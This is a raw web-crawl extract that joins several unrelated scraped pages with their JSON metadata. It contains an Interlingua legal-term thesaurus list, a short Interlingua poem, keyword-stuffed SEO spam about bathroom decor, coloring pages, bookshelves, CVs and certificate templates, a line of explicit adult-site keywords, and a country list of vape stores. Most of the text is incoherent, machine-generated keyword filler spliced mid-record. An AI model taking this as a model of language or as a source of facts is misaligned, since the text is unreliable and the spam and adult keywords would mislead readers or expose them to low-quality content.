chassaModificar derecto de citatanoModificar derecto de citateModificar derecto de codecisionModificar derecto de compensationModificar derecto de conducer un vehiculo a motorModificar derecto de cuneageModificar derecto de cunear monetaModificar derecto de deliberationModificar derecto de dispositionModificar derecto de dissolutionModificar derecto de establimentoModificar derecto de exemptionModificar derecto de existerModificar derecto de exoperoModificar derecto de familiaModificar derecto de gentesModificar derecto de gratiaModificar derecto de initiativaModificar derecto de inquestaModificar derecto de interpellationModificar derecto de laborModificar derecto de marcasModificar derecto de monetageModificar derecto de optionModificar derecto de parlarModificar derecto de parolaModificar derecto de passageModificar derecto de pedageModificar derecto de petitionModificar derecto de piscaModificar derecto de placetModificar derecto de possessionModificar derecto de precedentiaModificar derecto de preemptionModificar derecto de preferentiaModificar derecto de prescriptionModificar derecto de prioritateModificar derecto de proprietateModificar derecto de reclamation(es)Modificar derecto de recursoModificar derecto de represaliaModificar derecto de reprisaModificar derecto de retentionModificar derecto de reunionModificar derecto de successionModificar derecto de suffragioModificar derecto de timbroModificar derecto de traducerModificar derecto de traductionModificar derecto de transitoModificar derecto de translatarModificar derecto de translationModificar derecto de travalioModificar derecto de vetoModificar derecto de visitaModificar derecto de votarModificar derecto de votoModificar derecto del gentesModificar derecto de las gentes derecto del maximeModificar derecto del_maximo \/ de_los_maximos \/ de_la_maxima \/ de_las_maximas derecto divinModificar derecto divino derecto dominialModificar derecto ecclesiasticModificar derecto ecclesiastico derecto emphyteoticModificar derecto emphyteotico derecto exclusiveModificar derecto exclusivo derecto feudalModificar derecto fiscalModificar derecto fluvialModificar derecto hereditariModificar derecto hereditario derecto humanitariModificar derecto humanitario derecto imprescriptibileModificar derecto inalienabileModificar derecto incessibileModificar derecto indigenaModificar derecto internationalModificar derecto italicModificar derecto italico derecto justinianModificar derecto justiniano derecto latinModificar derecto latino derecto maritimeModificar derecto maritimo derecto matrimonialModificar derecto mercantilModificar derecto militarModificar derecto municipalModificar derecto nativeModificar derecto nativo derecto naturalModificar derecto non scripteModificar derecto non scripto derecto optionalModificar derecto penalModificar derecto penal de guerraModificar derecto plural de votarModificar derecto plural de votoModificar derecto plus forteModificar derecto positiveModificar derecto positivo derecto preferentialModificar derecto privateModificar derecto privato derecto proceduralModificar derecto processualModificar derecto publicModificar derecto publico derecto realModificar derecto romanModificar derecto romano derecto transitionalModificar derecto transmissibileModificar derecto usufructuariModificar derecto usufructuario derectos acquiriteModificar derectos acquiritos derectos aeroportualModificar derectos aeroportuales derectos cinematographicModificar derectos cinematographicos derectos civicModificar derectos civicos derectos de atterrageModificar derectos de autorModificar derectos de citatanitateModificar derectos de dockModificar derectos de esclusaModificar derectos de exportationModificar derectos de importationModificar derectos de pilotageModificar derectos de polissaModificar derectos de portoModificar derectos de successionModificar derectos de transitoModificar derectos del doanaModificar derectos de la doana derectos del homineModificar derectos differentialModificar derectos differentiales derectos equal pro le feminaModificar derectos equales pro la femina derectos humanModificar derectos humanos derectos inalienabileModificar derectos inalienabiles derectos incontestateModificar derectos incontestatos derectos incontesteModificar derectos incontestes derectos intangibileModificar derectos intangibiles derectos inviolabileModificar derectos inviolabiles derectos irredimibileModificar derectos irredimibiles derectos patrimonialModificar derectos patrimoniales derectos portuariModificar derectos portuarios derectos prescriptibileModificar derectos prescriptibiles derectos senioralModificar derectos seniorales deregulamentarModificar deregulamentationModificar derelicteModificar derelicto(s) \/ derelicta(s) derelictionModificar derelinquerModificar deresponsabilisarModificar deresponsabilizar deresponsabilisationModificar deresponsabilization deriderModificar derisionModificar derisoriModificar derisorio(s) \/ derisoria(s) derivaModificar deriva continentalModificar deriva del continentesModificar deriva de los continentes derivabileModificar derivabile(s) derivabilitateModificar derivabilitate de un functionModificar derivabilitate de una function derivarModificar derivar un curso de aquaModificar derivar un functionModificar deriv","id":"","dump":"CC-MAIN-2017-30","url":"http:\/\/interlingua.wikia.com\/wiki\/Thesauro_d","date":"2017-07-25T06:43:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-30\/segments\/1500549425082.56\/warc\/CC-MAIN-20170725062346-20170725082346-00203.warc.gz","language":"ina","language_score":0.6379470825,"language_script":"Latn","minhash_cluster_size":13,"top_langs":"{\"ina_Latn_score\": 0.6379470825195312, \"ast_Latn_score\": 0.046928662806749344, \"spa_Latn_score\": 0.03672588989138603, \"ile_Latn_score\": 0.0308079831302166, \"cat_Latn_score\": 0.027065616101026535, \"por_Latn_score\": 0.020640073344111443, \"ron_Latn_score\": 0.017101988196372986, \"vec_Latn_score\": 0.01703832671046257, \"oci_Latn_score\": 0.01624969206750393, \"lvs_Latn_score\": 0.015521105378866196, \"swe_Latn_score\": 0.013721744529902935, \"lat_Latn_score\": 0.011412649415433407}","num_words":21840,"character_repetition_ratio":0.246,"word_repetition_ratio":0.003,"special_characters_ratio":0.116,"stopwords_ratio":0.007,"flagged_words_ratio":0.0,"lang_id_score":0.72,"perplexity_score":4154.6,"cluster_detection":-1} +{"text":"Esque tu videva\ncomo le silente nocte passava?\nEsque tu senti\nle fragrantia que tarda?\nTu facie cale\nma le oculos son obscur\ntu attende al transformation\nTu facie es obscur\nma le oculos cale\ntu inhala le fragrantia diluite\nde scintillas saltante ex sonios lontan\nspontaneemente parturite\ndel umbras matinal\nEsque tu ancora dormi\nnonobstante tu oculos aperte?\nEsque le undas alpha\nnecava tu pensatas?\nLe oceano del cerebro\nora es tan silentiose\nquando nulle vento suffla\non pote audir\nle susurro existential","id":"","dump":"CC-MAIN-2017-34","url":"http:\/\/poemasepensatas.blogspot.com\/2011\/10\/scintillas-saltante-ex-sonios-lontan.html","date":"2017-08-21T12:14:54Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2017-34\/segments\/1502886108268.39\/warc\/CC-MAIN-20170821114342-20170821134342-00320.warc.gz","language":"ina","language_score":0.9999533892,"language_script":"Latn","minhash_cluster_size":5,"top_langs":"{\"ina_Latn_score\": 0.9999533891677856}","num_words":106,"character_repetition_ratio":0.048,"word_repetition_ratio":0.0,"special_characters_ratio":0.172,"stopwords_ratio":0.123,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":10806.0,"cluster_detection":-1} +{"text":"decoration salle de bain moderne marron faience pour.\nidee deco salle de bain moderne chic 2016 awesome morn ias amazing house sign,deco salle de bain moderne chic petite photos inspirations idee,deco salle de bain moderne douche 2016 decoration marron petite morne en,deco salle de bain moderne douche decoration marron idee photos coration morne,deco salle de bain moderne chic decoration marron morne 2017,deco salle de bain moderne 2016 decoration marron petite photo la ie co,morne decoration salle de bain moderne 2017 marron deco douche,deco salle de bain moderne noir et blanc chic 2016,deco salle de bain moderne noir et blanc ie morne 2017 2016,photos decoration salle de bain moderne deco petite morne super co marron.","id":"","dump":"CC-MAIN-2018-30","url":"http:\/\/myrmecology.info\/deco-salle-de-bain-moderne\/decoration-salle-de-bain-moderne-marron-faience-pour\/","date":"2018-07-16T08:53:01Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-30\/segments\/1531676589237.16\/warc\/CC-MAIN-20180716080356-20180716100356-00417.warc.gz","language":"ina","language_score":0.3545936644,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"ina_Latn_score\": 0.3545936644077301, \"fra_Latn_score\": 0.2647795081138611, \"sco_Latn_score\": 0.043736089020967484, \"nrm_Latn_score\": 0.033952824771404266, \"eng_Latn_score\": 0.03075646236538887, \"rmq_Latn_score\": 0.025875622406601906, \"knc_Latn_score\": 0.017937563359737396, \"ile_Latn_score\": 0.016137726604938507, \"mwl_Latn_score\": 0.014720854349434376, \"glg_Latn_score\": 0.014604269526898861, \"enm_Latn_score\": 0.013485169969499111, \"gmh_Latn_score\": 0.011015967465937138, \"eus_Latn_score\": 0.010764913633465767}","num_words":202,"character_repetition_ratio":0.278,"word_repetition_ratio":0.062,"special_characters_ratio":0.214,"stopwords_ratio":0.188,"flagged_words_ratio":0.0,"lang_id_score":0.355,"perplexity_score":5483.6,"cluster_detection":-1} +{"text":"13\/12\/2017 by Leonila Croney with Comments Off on Enora malagre sex le sexe chatroulette Sexe cru sex shop marseille Sexe videos les plus beaux sexes féminins SEXE VIDEOS SEXE NOIR Sexe gros seins video sex arabe Enora malagre sex le sexe chatroulette Le sexe laetitia milot le sexe brutal Maman sexe tube chatte sexe","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/lateral-g.org\/enora-malagre-sex-le-sexe-chatroulette","date":"2018-09-22T00:35:24Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267157574.27\/warc\/CC-MAIN-20180921225800-20180922010200-00218.warc.gz","language":"ina","language_score":0.3358801305,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.3358801305294037, \"vec_Latn_score\": 0.16907112300395966, \"fra_Latn_score\": 0.13998906314373016, \"mfe_Latn_score\": 0.07355771213769913, \"nso_Latn_score\": 0.0392974428832531, \"eng_Latn_score\": 0.027102015912532806, \"nrm_Latn_score\": 0.01478507462888956, \"kiu_Latn_score\": 0.014622010290622711, \"tsn_Latn_score\": 0.014210187830030918, \"wol_Latn_score\": 0.013425519689917564}","num_words":101,"character_repetition_ratio":0.104,"word_repetition_ratio":0.065,"special_characters_ratio":0.199,"stopwords_ratio":0.168,"flagged_words_ratio":0.0,"lang_id_score":0.479,"perplexity_score":10768.1,"cluster_detection":-1} +{"text":"coloriage super heros masque super super hero coloriage super heros fille.\ncoloriage super heros coloriage super heroes marvel a imprimer.\ncoloriage super heros girl superhero coloring pages rogue best ideas on superman free pictures for super hero en coloriage super heroes marvel a imprimer.\ncoloriage super heros super coloriage super heros.\ncoloriage super heros en super marvel super s super coloriage super heros gratuit.\ncoloriage super heros super coloriage en ligne super heros marvel.\ncoloriage super heros dc coloriage super heros lego.\ncoloriage super heros super a ssin canard super super en coloriage super heros gratuit.\ncoloriage super heros 9 images tableau a super marvel a net super coloriage super heros gratuit a imprimer.\ncoloriage super heros mandala a super coloriage super heros gratuit.\ncoloriage super heros a a super coloriage lego marvel superheroes.\ncoloriage super heros super avengers coloring pages super a coloriage super heros marvel a imprimer.\ncoloriage super heros coloriages super heros en ligne.\ncoloriage super heros super a on flash p coloriage super heros avengers.\ncoloriage super heros super flash a coloriage super heros squad imprimer.\ncoloriage super heros coloriage super herosd.\ncoloriage super heros pages a super super printable coloring pages on super coloriage super heros en ligne gratuit.\ncoloriage super heros super super heroes marvel a coloriage super heros en ligne gratuit.\ncoloriage super heros 0 pour pages a super 1 pour coloriage gratuit a imprimer flash super heros.\ncoloriage super heros a the avengers super en coloriage super heros en ligne gratuit.\ncoloriage super heros super a super coloriage super heros gratuit.\ncoloriage super heros super super hero super marvel a coloriage de lego marvel super heroes.\ncoloriage super heros super tag en super h marvel coloriage lego marvel super heroes.\ncoloriage super heros super a super hero marvel coloriage de super heros lego.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/bizwisdom.info\/coloriage-super-heros\/","date":"2018-09-22T09:21:13Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267158279.11\/warc\/CC-MAIN-20180922084059-20180922104459-00450.warc.gz","language":"ina","language_score":0.7725259662,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.77252596616745, \"eng_Latn_score\": 0.04578408971428871, \"asm_Latn_score\": 0.04476404935121536, \"dag_Latn_score\": 0.03307446464896202, \"gmh_Latn_score\": 0.029464116320014, \"sco_Latn_score\": 0.01162857934832573}","num_words":507,"character_repetition_ratio":0.384,"word_repetition_ratio":0.161,"special_characters_ratio":0.168,"stopwords_ratio":0.024,"flagged_words_ratio":0.0,"lang_id_score":0.773,"perplexity_score":6874.3,"cluster_detection":-1} +{"text":"decoration de salle de bain best co contemporary sign trends idee deco salle de bain carrelage bleu.\ndecoration de salle de bain awesome vintage images amazing house deco salle de bain 2015.\ndecoration de salle de bain morne decoration salle de bain petit budget.\ndecoration de salle de bain en photos pour beige decoration salle de bain petit budget.\ndecoration de salle de bain org idees deco salle de bain moderne.\ndecoration de salle de bain sign co douche co zen co zen coration mural decoration salle de bain style zen.\ndecoration de salle de bain coration petite co petite mole douche pour petite on coration d deco salle de bain carrelage gris.\ndecoration de salle de bain la petite decoration de salle de bain zen.\ndecoration de salle de bain ie co top elegant ie co deco petite salle de bain 2015.\ndecoration de salle de bain inspirational stickers stickers pour idee deco salle de bain petite.\ndecoration de salle de bain inspiration d co morne coration gui coration idee deco salle de bain 2014.\ndecoration de salle de bain tout est decoration de salle de bain moderne 2015.\ndecoration de salle de bain best zen zen s s sign with zen deco salle de bain petit prix.\ndecoration de salle de bain coration pin co sign on pin co deco salle de bain 2014.\ndecoration de salle de bain decoration salle de bain carrelage noir.\ndecoration de salle de bain deco salle de bain carrelage gris.\ndecoration de salle de bain id es sign int s s deco salle de bain carrelage mural.\ndecoration de salle de bain decoration salle de bain carrelage mural.\ndecoration de salle de bain home staging rouge idee deco salle de bain petite surface.\ndecoration de salle de bain faience sign id es deco de salle de bain pas cher.\ndecoration de salle de bain idee decoration salle de bain zen.\ndecoration de salle de bain decoration petite salle de bain zen.\ndecoration de salle de bain chic decoration de salle de bain moderne 2015.\ndecoration de salle de bain zen zen co zen decoration salle de bain zen bambou.\ndecoration de salle de bain photos the coration deco salle de bain carrelage mural.\ndecoration de salle de bain r sup turquoise image deco tendance salle de bain 2015.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/buyadderallonline.info\/decoration-de-salle-de-bain\/","date":"2018-09-19T12:50:20Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267156224.9\/warc\/CC-MAIN-20180919122227-20180919142227-00434.warc.gz","language":"ina","language_score":0.3326382637,"language_script":"Latn","minhash_cluster_size":4,"top_langs":"{\"ina_Latn_score\": 0.3326382637023926, \"sco_Latn_score\": 0.272945761680603, \"fra_Latn_score\": 0.07904545962810516, \"wes_Latn_score\": 0.06676394492387772, \"pan_Latn_score\": 0.04947469383478165, \"gul_Latn_score\": 0.031724024564027786, \"rmq_Latn_score\": 0.027130624279379845, \"glg_Latn_score\": 0.020690234377980232, \"pfl_Latn_score\": 0.014772382564842701, \"eus_Latn_score\": 0.013080306351184845, \"mwl_Latn_score\": 0.01179718691855669, \"ile_Latn_score\": 0.010924575850367546}","num_words":623,"character_repetition_ratio":0.399,"word_repetition_ratio":0.241,"special_characters_ratio":0.203,"stopwords_ratio":0.201,"flagged_words_ratio":0.0,"lang_id_score":0.333,"perplexity_score":5734.7,"cluster_detection":-1} +{"text":"bibliotheque murale design etagare bibliothaque murale blanche panorama bibliotheque etagere murale design.\nbibliotheque murale design temahome bern bibliotheque etagere murale bois design bibliotheque murale casa design.\nbibliotheque murale design bibliotheque murale design ikea.\nbibliotheque murale design biblioth que design ch ne london 5 rang es construire une bibliotheque murale bibliotheque murale design pas cher.\nbibliotheque murale design bibliothaque murale design gain despace et esthactique bibliotheque murale design pas cher.\nbibliotheque murale design bibliotheque murale design by gerard de hoop.\nbibliotheque murale design bibliotheque murale design retento sign by hoop bibliotheque murale design pas cher.\nbibliotheque murale design etagere bibliotheque murale bois support design noir bibliotheque murale design sur mesure.\nbibliotheque murale design 18 idaces de design et dacco bibliothaque inspirantes idaces design dacco bibliothaque murale bois sobre bibliotheque murale design by gerard de hoop.\nbibliotheque murale design bibliothaque murale design original en mactal laquac w su line by diego collareda bibliotheque etagere murale design.\nbibliotheque murale design bibliothaque multimacdia bibliotheque murale design sur mesure.\nbibliotheque murale design bibliothaque murale scandinave par kai kristiansen 1960 bibliotheque murale design retento.\nbibliotheque murale design bibliothaque bibliothaque murale design myshelf bibliotheque murale design snake.\nbibliotheque murale design bibliotheque murale design metal.\nbibliotheque murale design daccouvrez toutes les informations sur le produit bibliothaque modulable murale contemporaine pour bureau e wall by alberto stella estel bibliotheque etagere murale design.\nbibliotheque murale design bibliothaque suspendue murale et design pour vos livres bibliothaque murale blanche bibliotheque etagere murale design.\nbibliotheque murale design grande bibliothaque pratique et design gris ardoise bibliotheque murale design.\nbibliotheque murale design bibliothequebibliotheque muralebibliotheque sur mesurebibliotheque etagerebibliotheque maisonbibliotheque bibliotheque murale design snake.\nbibliotheque murale design etagare murale 9 cases blanche daisy bibliotheque murale design by gerard de hoop.\nbibliotheque murale design bibliotheque originale pas cher 12 avec l tag re murale design 82 id es originales archzine fr bibliotheque murale design metal.\nbibliotheque murale design bibliothaque suspendue noire design murale rangement acier bibliotheque murale design pas cher.\nbibliotheque murale design description bibliothaque murale design bibliotheque murale design by gerard de hoop.\nbibliotheque murale design bibliothaque chuck noir bibliothaque chuck noir bibliotheque murale design sur mesure.\nbibliotheque murale design bibliotheque design chane london bibliotheque murale design.\nbibliotheque murale design bibliothaque murale en fer manege round by kare design bibliotheque etagere murale design.\nbibliotheque murale design bibliotheque suspendue cable bibliotheque etagere murale design.\nbibliotheque murale design grande bibliothaque murale scandinave en palissandre kai kristiansen annaces 60 bibliotheque murale casa design.\nbibliotheque murale design bibliothaque murale en mdf laquace blanche ou noire shellf par ka lai chan pour kristalia bibliotheque murale design.","id":"","dump":"CC-MAIN-2018-39","url":"http:\/\/sundaythemes.co\/bibliotheque-murale-design\/","date":"2018-09-23T05:10:42Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-39\/segments\/1537267159006.51\/warc\/CC-MAIN-20180923035948-20180923060348-00394.warc.gz","language":"ina","language_score":0.554028213,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.5540282130241394, \"lat_Latn_score\": 0.0790458396077156, \"eng_Latn_score\": 0.06079484522342682, \"fra_Latn_score\": 0.038058530539274216, \"rmy_Latn_score\": 0.032393693923950195, \"ita_Latn_score\": 0.023006003350019455, \"nov_Latn_score\": 0.013417603448033333, \"alz_Latn_score\": 0.01240929588675499, \"eus_Latn_score\": 0.011913690716028214, \"gmh_Latn_score\": 0.0117966802790761, \"asm_Latn_score\": 0.011785626411437988, \"ron_Latn_score\": 0.010453078895807266}","num_words":896,"character_repetition_ratio":0.442,"word_repetition_ratio":0.331,"special_characters_ratio":0.138,"stopwords_ratio":0.202,"flagged_words_ratio":0.0,"lang_id_score":0.554,"perplexity_score":17894.4,"cluster_detection":-1} +{"text":"poster un cv sur un monstre and ms all gave papers at the annual conference of the association u fraaises curriculum vitae format example.\nposter un cv sur un monstre image en a cv curriculum vitae betekenis.\nposter un cv sur un monstre battle 1 zone 2 curriculum vitae english teacher.\nposter un cv sur un monstre die om van curriculum vitae english format.\nposter un cv sur un monstre par a film curriculum vitae maken online.\nposter un cv sur un monstre festival poster collection s festival curriculum vitae maken tips.\nposter un cv sur un monstre posters movie posters monsters inc minimalist poster curriculum vitae example doc.\nposter un cv sur un monstre exhibits curriculum vitae meaning in marathi.\nposter un cv sur un monstre poster en stickers curriculum vitae english.\nposter un cv sur un monstre poster poster resume builder free poster curriculum vitae example uk.\nposter un cv sur un monstre related post curriculum vitae english doc.\nposter un cv sur un monstre lecture baron cv curriculum vitae betekenis.\nposter un cv sur un monstre curriculum vitae voorbeeld in afrikaans.\nposter un cv sur un monstre la tout a la temps la situation est loin curriculum vitae format 2018.\nposter un cv sur un monstre close curriculum vitae engelse vertaling.\nposter un cv sur un monstre page 1 curriculum vitae maken online.\nposter un cv sur un monstre a by curriculum vitae template 2018.\nposter un cv sur un monstre template r resume templates beautiful template at curriculum vitae voorbeeld.\nposter un cv sur un monstre curriculum vitae format pdf.\nposter un cv sur un monstre new fresh free resume templates are professionally designed to make a lasting impression when applying for your dream job these free resume templates curriculum vitae voorb.\nposter un cv sur un monstre curriculum vitae meaning in gujarati.\nposter un cv sur un monstre article 1 curriculum vitae maken gratis.\nposter un cv sur un monstre pages pare curriculum vitae engels vertaling.\nposter un cv sur un monstre fiche cinema pace curriculum vitae maken word.\nposter un cv sur un monstre suite strange freak show est exposition freaks s sens large curriculum vitae meaning in bengali.\nposter un cv sur un monstre parent amour curriculum vitae nederlandse betekenis.\nposter un cv sur un monstre image 0 curriculum vitae english format.\nposter un cv sur un monstre 8 motivation ai a domicile curriculum vitae voorbeeld in afrikaans.","id":"","dump":"CC-MAIN-2018-43","url":"http:\/\/congngheso.info\/poster-un-cv-sur-un-monstre\/","date":"2018-10-16T11:14:28Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-43\/segments\/1539583510749.37\/warc\/CC-MAIN-20181016093012-20181016114512-00219.warc.gz","language":"ina","language_score":0.5972486138,"language_script":"Latn","minhash_cluster_size":3,"top_langs":"{\"ina_Latn_score\": 0.5972486138343811, \"fra_Latn_score\": 0.1062619760632515, \"lvs_Latn_score\": 0.038792841136455536, \"ile_Latn_score\": 0.03597935289144516, \"sco_Latn_score\": 0.035425785928964615, \"ron_Latn_score\": 0.021299321204423904, \"frp_Latn_score\": 0.01875748485326767, \"lat_Latn_score\": 0.018259115517139435, \"nrm_Latn_score\": 0.013893578201532364, \"eng_Latn_score\": 0.012835276313126087, \"lmo_Latn_score\": 0.012723694555461407, \"oci_Latn_score\": 0.01197485439479351, \"glg_Latn_score\": 0.011416671797633171}","num_words":666,"character_repetition_ratio":0.365,"word_repetition_ratio":0.131,"special_characters_ratio":0.185,"stopwords_ratio":0.099,"flagged_words_ratio":0.0,"lang_id_score":0.597,"perplexity_score":4087.0,"cluster_detection":-1} +{"text":"Vape Stores\nVape Stores by country:\nVape Stores in Afghanistan\nVape Stores in Albania\nVape Stores in Algeria\nVape Stores in American Samoa\nVape Stores in Andorra\nVape Stores in Angola\nVape Stores in Anguilla\nVape Stores in Antarctica\nVape Stores in Antigua and Barbuda\nVape Stores in Argentina\nVape Stores in Armenia\nVape Stores in Aruba\nVape Stores in Australia\nVape Stores in Austria\nVape Stores in Azerbaijan\nVape Stores in Bahamas\nVape Stores in Bahrain\nVape Stores in Bangladesh\nVape Stores in Barbados\nVape Stores in Belarus\nVape Stores in Belgium\nVape Stores in Belize\nVape Stores in Benin\nVape Stores in Bermuda\nVape Stores in Bhutan\nVape Stores in Bolivia\nVape Stores in Bonaire, Saint Eustatius, and Saba\nVape Stores in Bosnia and Herzegovina\nVape Stores in Botswana\nVape Stores in Bouvet Island\nVape Stores in Brazil\nVape Stores in British Indian Ocean Territory\nVape Stores in British Virgin Islands\nVape Stores in Brunei\nVape Stores in Bulgaria\nVape Stores in Burkina Faso\nVape Stores in Burundi\nVape Stores in Cambodia\nVape Stores in Cameroon\nVape Stores in Canada\nVape Stores in Cape Verde\nVape Stores in Cayman Islands\nVape Stores in Central African Republic\nVape Stores in Chad\nVape Stores in Chile\nVape Stores in China\nVape Stores in Christmas Island\nVape Stores in Cocos [Keeling] Islands\nVape Stores in Colombia\nVape Stores in Comoros\nVape Stores in Cook Islands\nVape Stores in Costa Rica\nVape Stores in Croatia\nVape Stores in Cuba\nVape Stores in Curaçao\nVape Stores in Cyprus\nVape Stores in Czech Republic\nVape Stores in Democratic Republic of the Congo\nVape Stores in Denmark\nVape Stores in Djibouti\nVape Stores in Dominica\nVape Stores in Dominican Republic\nVape Stores in East Timor\nVape Stores in Ecuador\nVape Stores in Egypt\nVape Stores in El Salvador\nVape Stores in Equatorial Guinea\nVape Stores in Eritrea\nVape Stores in Estonia\nVape Stores in Ethiopia\nVape Stores in Falkland Islands\nVape Stores in Faroe Islands\nVape Stores in Fiji\nVape Stores in Finland\nVape Stores in France\nVape Stores in French Guiana\nVape Stores in French Polynesia\nVape Stores in French Southern Territories\nVape Stores in Gabon\nVape Stores in Georgia\nVape Stores in Germany\nVape Stores in Ghana\nVape Stores in Gibraltar\nVape Stores in Greece\nVape Stores in Greenland\nVape Stores in Grenada\nVape Stores in Guadeloupe\nVape Stores in Guam\nVape Stores in Guatemala\nVape Stores in Guernsey\nVape Stores in Guinea\nVape Stores in Guinea-Bissau\nVape Stores in Guyana\nVape Stores in Haiti\nVape Stores in Hashemite Kingdom of Jordan\nVape Stores in Heard Island and McDonald Islands\nVape Stores in Honduras\nVape Stores in Hong Kong\nVape Stores in Hungary\nVape Stores in Iceland\nVape Stores in India\nVape Stores in Indonesia\nVape Stores in Iran\nVape Stores in Iraq\nVape Stores in Ireland\nVape Stores in Isle of Man\nVape Stores in Israel\nVape Stores in Italy\nVape Stores in Ivory Coast\nVape Stores in Jamaica\nVape Stores in Japan\nVape Stores in Jersey\nVape Stores in Kazakhstan\nVape Stores in Kenya\nVape Stores in Kiribati\nVape Stores in Kosovo\nVape Stores in Kuwait\nVape Stores in Kyrgyzstan\nVape Stores in Laos\nVape Stores in Latvia\nVape Stores in Lebanon\nVape Stores in Lesotho\nVape Stores in Liberia\nVape Stores in Libya\nVape Stores in Liechtenstein\nVape Stores in Luxembourg\nVape Stores in Macao\nVape Stores in Macedonia\nVape Stores in Madagascar\nVape Stores in Malawi\nVape Stores in Malaysia\nVape Stores in Maldives\nVape Stores in Mali\nVape Stores in Malta\nVape Stores in Marshall Islands\nVape Stores in Martinique\nVape Stores in Mauritania\nVape Stores in Mauritius\nVape Stores in Mayotte\nVape Stores in Mexico\nVape Stores in Micronesia\nVape Stores in Monaco\nVape Stores in Mongolia\nVape Stores in Montenegro\nVape Stores in Montserrat\nVape Stores in Morocco\nVape Stores in Mozambique\nVape Stores in Myanmar [Burma]\nVape Stores in Namibia\nVape Stores in Nauru\nVape Stores in Nepal\nVape Stores in Netherlands\nVape Stores in Netherlands Antilles\nVape Stores in New Caledonia\nVape Stores in New Zealand\nVape Stores in Nicaragua\nVape Stores in Niger\nVape Stores in Nigeria\nVape Stores in Niue\nVape Stores in Norfolk Island\nVape Stores in North Korea\nVape Stores in Northern Mariana Islands\nVape Stores in Norway\nVape Stores in Oman\nVape Stores in Pakistan\nVape Stores in Palau\nVape Stores in Palestine\nVape Stores in Panama\nVape Stores in Papua New Guinea\nVape Stores in Paraguay\nVape Stores in Peru\nVape Stores in Philippines\nVape Stores in Pitcairn Islands\nVape Stores in Poland\nVape Stores in Portugal\nVape Stores in Puerto Rico\nVape Stores in Qatar\nVape Stores in Republic of Korea\nVape Stores in Republic of Lithuania\nVape Stores in Republic of Moldova\nVape Stores in Republic of South Sudan\nVape Stores in Republic of the Congo\nVape Stores in Romania\nVape Stores in Russia\nVape Stores in Rwanda\nVape Stores in Réunion\nVape Stores in Saint Barthélemy\nVape Stores in Saint Helena\nVape Stores in Saint Kitts and Nevis\nVape Stores in Saint Lucia\nVape Stores in Saint Martin\nVape Stores in Saint Pierre and Miquelon\nVape Stores in Saint Vincent and the Grenadines\nVape Stores in Samoa\nVape Stores in San Marino\nVape Stores in Saudi Arabia\nVape Stores in Senegal\nVape Stores in Serbia\nVape Stores in Seychelles\nVape Stores in Sierra Leone\nVape Stores in Singapore\nVape Stores in Sint Maarten\nVape Stores in Slovak Republic\nVape Stores in Slovenia\nVape Stores in Solomon Islands\nVape Stores in Somalia\nVape Stores in South Africa\nVape Stores in South Georgia and the South Sandwich Islands\nVape Stores in Spain\nVape Stores in Sri Lanka\nVape Stores in Sudan\nVape Stores in Suriname\nVape Stores in Svalbard and Jan Mayen\nVape Stores in Swaziland\nVape Stores in Sweden\nVape Stores in Switzerland\nVape Stores in Syria\nVape Stores in São Tomé and Príncipe\nVape Stores in Taiwan\nVape Stores in Tajikistan\nVape Stores in Tanzania\nVape Stores in Thailand\nVape Stores in The Gambia\nVape Stores in Togo\nVape Stores in Tokelau\nVape Stores in Tonga\nVape Stores in Trinidad and Tobago\nVape Stores in Tunisia\nVape Stores in Turkey\nVape Stores in Turkmenistan\nVape Stores in Turks and Caicos Islands\nVape Stores in Tuvalu\nVape Stores in U.S. Minor Outlying Islands\nVape Stores in U.S. Virgin Islands\nVape Stores in Uganda\nVape Stores in Ukraine\nVape Stores in United Arab Emirates\nVape Stores in United Kingdom\nVape Stores in United States of America\nVape Stores in Uruguay\nVape Stores in Uzbekistan\nVape Stores in Vanuatu\nVape Stores in Vatican\nVape Stores in Venezuela\nVape Stores in Vietnam\nVape Stores in Wallis and Futuna\nVape Stores in Western Sahara\nVape Stores in Yemen\nVape Stores in Zambia\nVape Stores in Zimbabwe\nVape Stores in Åland Islands\nPowered by\nEarn money!","id":"","dump":"CC-MAIN-2018-51","url":"https:\/\/time.sc\/shopping\/vape-stores\/sc-56aa371be4b08b9a8d57355c?lang=en","date":"2018-12-18T17:05:56Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2018-51\/segments\/1544376829542.89\/warc\/CC-MAIN-20181218164121-20181218190121-00048.warc.gz","language":"ina","language_score":0.6144328713,"language_script":"Latn","minhash_cluster_size":2,"top_langs":"{\"ina_Latn_score\": 0.6144328713417053, \"ile_Latn_score\": 0.21749752759933472, \"bew_Latn_score\": 0.05386330187320709, \"lat_Latn_score\": 0.02275439165532589, \"dag_Latn_score\": 0.01666042022407055, \"nov_Latn_score\": 0.015971940010786057, \"frp_Latn_score\": 0.011674454435706139}","num_words":2064,"character_repetition_ratio":0.382,"word_repetition_ratio":0.001,"special_characters_ratio":0.174,"stopwords_ratio":0.009,"flagged_words_ratio":0.0,"lang_id_score":0.501,"perplexity_score":6189.9,"cluster_detection":-1} +{"text":"Jones Certificates Templates jones certificates templates jones certificate templates certificate template jones certificate ideas. jones certificates templates jones certificate templates science fair participation blue uw template. jones certificates templates a honor roll certificate jones school supply download. Jones Certificates Templates jones certificates templates a b honor roll certificate jones school supply printable. jones certificates templates transform 8th grade diploma template in jones certificate templates ideas. jones certificates templates valedictorian award certificate template. Jones Certificates Templates jones certificates templates science fair participation certificate template jones certificate ideas.\nJones Certificates Templates Jones Certificate Templates Certificate Template Jones Certificate IdeasJones Certificates Templates Jones Certificate Templates Science 